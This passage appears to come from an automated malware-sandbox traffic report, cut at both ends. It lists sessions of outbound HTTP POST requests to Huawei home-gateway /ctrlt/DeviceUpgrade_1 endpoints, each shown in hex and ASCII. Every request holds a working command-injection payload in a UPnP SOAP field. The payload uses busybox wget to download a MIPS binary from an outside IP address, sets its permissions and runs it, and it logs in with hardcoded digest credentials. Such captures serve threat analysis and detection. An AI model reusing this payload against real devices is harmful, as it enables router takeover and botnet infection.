74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:11.076940060 CET	2405	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.944466114 CET	2538	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.879359961 CET	2742	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:38.493280888 CET	3169	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	156.224.14.101	37215	192.168.2.23	48392

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:17:07.450618029 CET	2323	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:09.121295929 CET	2352	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:11.076940060 CET	2405	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.944466114 CET	2538	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.879359961 CET	2742	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh 